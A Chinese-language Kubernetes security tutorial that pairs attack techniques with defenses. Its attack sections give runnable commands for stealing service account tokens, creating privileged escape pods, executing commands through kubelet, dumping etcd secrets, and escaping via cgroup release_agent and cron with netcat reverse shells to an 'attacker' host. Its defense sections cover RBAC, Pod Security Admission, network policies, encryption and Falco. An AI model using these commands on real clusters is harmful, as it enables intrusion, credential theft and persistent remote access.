Kubernetes 安全攻击与防御完全指南
Kubernetes 已成为容器编排的事实标准,但其复杂的架构带来了巨大的攻击面。从 kubelet 未认证 API 到 etcd 无加密访问、从 RBAC 配置错误到容器逃逸,K8s 安全的每个层面都需要深入关注。
一、Kubernetes 安全架构
1.1 K8s 安全层次
GRAPH
TD
subgraph 集群安全
A[API Server] --> B[认证]
B --> C[授权/RBAC]
C --> D[准入控制]
end
subgraph 节点安全
E[kubelet] --> F[容器运行时]
F --> G[容器隔离]
G --> H[Pod 安全策略]
end
subgraph 网络安全
I[网络策略] --> J[服务网格]
J --> K[mTLS]
end
subgraph 存储安全
L[Secret] --> M[加密存储]
M --> N[RBAC 访问控制]
end
1.2 API Server 认证
YAML
# kube-apiserver 认证配置
--authorization-mode=Node,RBAC
--enable-admission-plugins=NodeRestriction,PodSecurityPolicy
--anonymous-auth=false
--oidc-issuer-url=https://accounts.google.com
--oidc-client-id=kubernetes
--token-auth-file=/etc/kubernetes/tokens.csv
--service-account-key-file=/etc/kubernetes/sa.pub
--tls-cert-file=/etc/kubernetes/pki/apiserver.crt
--tls-private-key-file=/etc/kubernetes/pki/apiserver.key
1.3 RBAC 授权
YAML
# 危险的 ClusterRole 绑定 - 集群管理权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: dangerous-binding
subjects:
- kind: User
name: attacker
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
| ClusterRole | 风险 | 说明 |
|---|---|---|
| cluster-admin | 极高 | 完全集群管理权限 |
| admin | 高 | 命名空间管理权限 |
| edit | 中 | 可以创建/修改资源 |
| view | 低 | 只读权限 |
| custom:secret-reader | 中 | 读取 Secrets |
二、攻击面概览
2.1 K8s 攻击链
BASH
攻击步骤:
1. 发现 K8s API Server (6443)
2. 探测未认证 API
3. 获取 Service Account Token
4. 枚举集群资源
5. 创建恶意 Pod/容器
6. 横向移动到其他节点
7. 窃取 Secrets/凭据
8. 持久化访问
2.2 常见攻击面
| 攻击面 | 端口 | 风险等级 | 说明 |
|---|---|---|---|
| API Server | 6443 | 极高 | 集群控制核心 |
| kubelet | 10250/10255 | 高 | 节点级控制 |
| etcd | 2379/2380 | 极高 | 集群状态存储 |
| Dashboard | 任意 | 中 | Web 管理界面 |
| NodePort | 30000-32767 | 中 | 服务暴露 |
| kube-proxy | 10256 | 低 | 网络代理 |
2.3 初始访问方法
BASH
# 1. 从企业内部网络扫描
nmap -p 6443 10.0.0.0/8
nmap -p 6443,10250,2379 192.168.0.0/16
# 2. 从 CI/CD 流水线获取凭证
# Jenkins/GitLab Runner 中的 KUBECONFIG 泄露
# 3. 从容器内部探测
# 默认 Service Account 自动挂载
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# 4. 从配置泄露
# .kube/config 文件泄露
# kubectl 命令历史
# Helm values.yaml 泄露
三、API Server 攻击
3.1 未认证 API
BASH
# 检查 API Server 是否允许匿名访问
curl -k https://api-server:6443/api/v1/pods
# 如果返回 pods 列表,则存在未认证访问
# 匿名用户可访问的 API(如果配置不当)
curl -k https://10.0.0.1:6443/api/v1/namespaces/default/secrets
curl -k https://10.0.0.1:6443/api/v1/nodes
curl -k https://10.0.0.1:6443/api/v1/pods
3.2 使用 Service Account
BASH
# 从 Pod 内部操作
# 默认 Service Account 通常绑定在 default 命名空间
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
# 检查当前权限
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/secrets
# 列举 pods
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/pods
# 列举所有 service account
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/serviceaccounts
3.3 创建恶意 Pod
YAML
# 创建特权 Pod 用于逃逸到宿主机
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- name: attacker
image: ubuntu:latest
command: ["/bin/bash", "-c", "sleep infinity"]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
BASH
# 通过 kubectl 创建
kubectl apply -f evil-pod.yaml
# 通过 API 直接创建
kubectl --token=$TOKEN run evil-pod --image=ubuntu --privileged --command sleep infinity
# 执行逃逸
kubectl exec -it evil-pod -- chroot /host bash
四、kubelet 攻击
4.1 kubelet API
BASH
# kubelet 默认监听 10250(认证)和 10255(未认证)
# 10255 在 1.13+ 后默认关闭
# 未认证 kubelet
curl http://node:10255/pods
curl http://node:10255/runningpods
curl http://node:10255/stats/summary
# kubelet 认证 API
curl -k https://node:10250/pods
curl -k https://node:10250/run/dmwyZGVmYXVsdC9teS1wb2QvbXktY29udGFpbmVy -X POST -d "cmd=id"
# 在 kubelet 上执行命令(如果权限足够)
curl -k -X POST https://node:10250/run/{namespace}/{pod}/{container} \
-d "cmd=cat /etc/shadow"
4.2 kubelet 认证绕过
BASH
# 1. 使用 Node 凭据(如果已经入侵了一个 Pod)
# Node 凭据由 kubelet 使用,可以访问某些资源
# 2. 检查是否存在 anonymous 权限
curl -k https://node:10250/runningpods
# 3. 使用 kubelet 提权
# 如果 kubelet 绑定到了 cluster-admin 角色
# 可以通过 kubelet 创建新的 Service Account
# 4. kubeletctl 工具
git clone https://github.com/cyberark/kubeletctl
./kubeletctl -s node:10250 pods
./kubeletctl -s node:10250 exec "id" -p my-pod -c my-container
五、etcd 攻击
5.1 etcd 访问
BASH
# etcd 默认监听 2379(客户端)和 2380(集群通信)
# 如果 etcd 未加密且可访问:
# 1. 查询 etcd 版本
curl http://etcd:2379/version
# 2. 获取 k8s 所有 Secrets
ETCDCTL_API=3 etcdctl --endpoints=http://etcd:2379 get / --prefix --keys-only
# 3. 读取特定 Secret
ETCDCTL_API=3 etcdctl --endpoints=http://etcd:2379 get /registry/secrets/default/mytoken
# 4. 读取所有 Service Account 令牌
ETCDCTL_API=3 etcdctl --endpoints=http://etcd:2379 get /registry/secrets --prefix
5.2 证书认证 etcd
BASH
# 如果 etcd 使用证书认证
ETCDCTL_API=3 etcdctl \
--endpoints=https://etcd:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry --prefix --keys-only
# 从 etcd 提取 admin 凭据
ETCDCTL_API=3 etcdctl get /registry/secrets/kube-system/admin-token-xxxxx \
| xxd -r -p | jq .
六、容器逃逸
6.1 特权容器检测
BASH
# 从容器内检查是否是特权容器
cat /proc/1/status | grep CapEff
# 0000003fffffffff -> 特权
# 检查已挂载的 Docker socket
ls -la /var/run/docker.sock
# 检查设备访问
ls -la /dev/
# 检查 capabilities
cat /proc/1/status | grep CapPrm
6.2 cgroup 逃逸
BASH
# 利用 cgroup notify_on_release 机制
# 仅适用于特权容器或有 CAP_SYS_ADMIN 的容器
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# 创建逃逸脚本
echo "#!/bin/bash" > /tmp/escape.sh
echo "nc attacker 4444 -e /bin/bash" >> /tmp/escape.sh
chmod +x /tmp/escape.sh
# 设置 release_agent
echo "/tmp/escape.sh" > /tmp/cgrp/release_agent
# 触发执行
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
echo 1 > /tmp/cgrp/x/notify_on_release
6.3 挂载逃逸
BASH
# 如果挂载了宿主机 /var/log 或其他目录
# 利用日志写入提权
# 在容器中写入 SSH 公钥
echo "ssh-rsa AAA..." > /host/root/.ssh/authorized_keys
# 写入 crontab
echo "*/1 * * * * root nc attacker 4444 -e /bin/bash" > /host/etc/cron.d/evil
七、Secrets 和凭据攻击
7.1 枚举 Secrets
BASH
# 列出所有 Secrets
kubectl get secrets --all-namespaces
kubectl get secrets -n kube-system
# 读取特定 Secret
kubectl get secret admin-token -o yaml
kubectl get secret admin-token -o jsonpath='{.data.token}' | base64 -d
# 从所有 Secrets 中提取凭据
for ns in $(kubectl get ns -o name); do
for secret in $(kubectl get secrets -n ${ns##*/} -o name); do
echo "=== $ns/$secret ==="
kubectl get $secret -n ${ns##*/} -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
done
done
7.2 Service Account 令牌窃取
BASH
# 在容器内窃取其他 Pod 的 SA
# 如果 Pod 可以访问其他 Pod 的文件系统
# 读取其他 Pod 的令牌
find /var/lib/kubelet/pods/ -name "token" 2>/dev/null
# 使用不同的 Service Account
kubectl --token=$STOLEN_TOKEN get pods --all-namespaces
7.3 配置映射泄露
BASH
# ConfigMaps 经常包含敏感信息
kubectl get configmaps --all-namespaces -o yaml | grep -E "password|secret|key|token|credential" -i
八、安全防御
8.1 RBAC 最小权限
YAML
# 推荐的自定义角色
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "watch", "list"]
---
# 拒绝 cluster-admin 绑定到非管理用户
# 定期审计 RBAC
8.2 Pod 安全策略 (PSP) / Pod Security Admission
YAML
# Pod Security Standards (PSA)
# privileged - 不受限制
# baseline - 最低安全要求
# restricted - 严格安全(推荐)
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
8.3 网络策略
YAML
# 默认拒绝所有入站流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-ingress
spec:
podSelector: {}
policyTypes:
- Ingress
# 只允许特定 Pod 访问
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-allow
spec:
podSelector:
matchLabels:
app: api
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
8.4 加密通信
YAML
# 启用 etcd 加密
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: c2VjcmV0LWtleS0xMjM0NTY3ODkw
- identity: {}
8.5 运行时安全
BASH
# 使用 Falco 检测运行时异常
# Falco 是 CNCF 的容器运行时安全项目
# 安装 Falco
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--namespace falco --create-namespace
# Falco 规则 - 检测容器内 shell
- rule: Terminal shell in container
desc: A shell was spawned in a container
condition: >
spawned_process and container
and shell_procs
and not user_expected_terminal_shell_in_container
output: >
Shell was spawned in container
priority: WARNING
# Falco 规则 - 检测特权容器
- rule: Privileged container
desc: A privileged container was started
condition: >
container_started and container.privileged=true
output: >
Privileged container started
priority: CRITICAL
8.6 镜像安全
BASH
# 使用 Trivy 扫描镜像漏洞
trivy image nginx:latest
trivy image --severity CRITICAL,HIGH nginx:latest
# 在 CI/CD 中集成
trivy image --exit-code 1 --severity CRITICAL $IMAGE_NAME
# 使用 Notary 签名镜像
# 启用镜像签名验证
kube-apiserver --admission-control "ImagePolicyWebhook"
# 只运行签名镜像
imagePolicy:
kubeConfigFile: /etc/kubernetes/imagepolicy.kubeconfig
allowTTL: 50
defaultAllow: false
8.7 安全工具链
| 工具 | 用途 | 部署方式 |
|---|---|---|
| kube-bench | CIS 基准扫描 | Job/Pod |
| kube-hunter | 漏洞扫描 | Pod/外部 |
| Falco | 运行时安全 | DaemonSet |
| OPA/Gatekeeper | 策略引擎 | Admission Controller |
| Kyverno | 策略管理 | Admission Controller |
| Trivy | 镜像扫描 | CLI/CI |
| KubeEye | 集群巡检 | DaemonSet |
九、总结
| 攻击面 | 攻击技术 | 防御措施 | 优先级 |
|---|---|---|---|
| API Server | 未认证访问 | RBAC + 证书认证 + 匿名禁用 | 高 |
| kubelet | 命令执行 | 关闭 10255,kubelet 认证 | 高 |
| etcd | 数据窃取 | TLS 加密 + 防火墙隔离 | 高 |
| Secrets | 凭据泄露 | RBAC + etcd 加密 | 高 |
| 容器 | 逃逸 | Pod Security Standards, non-root | 高 |
| 镜像 | 漏洞利用 | Trivy 扫描 + 签名 | 中 |
K8s 安全黄金法则:最小权限 RBAC + 网络策略隔离 + 镜像扫描 + 运行时检测 + etcd 加密。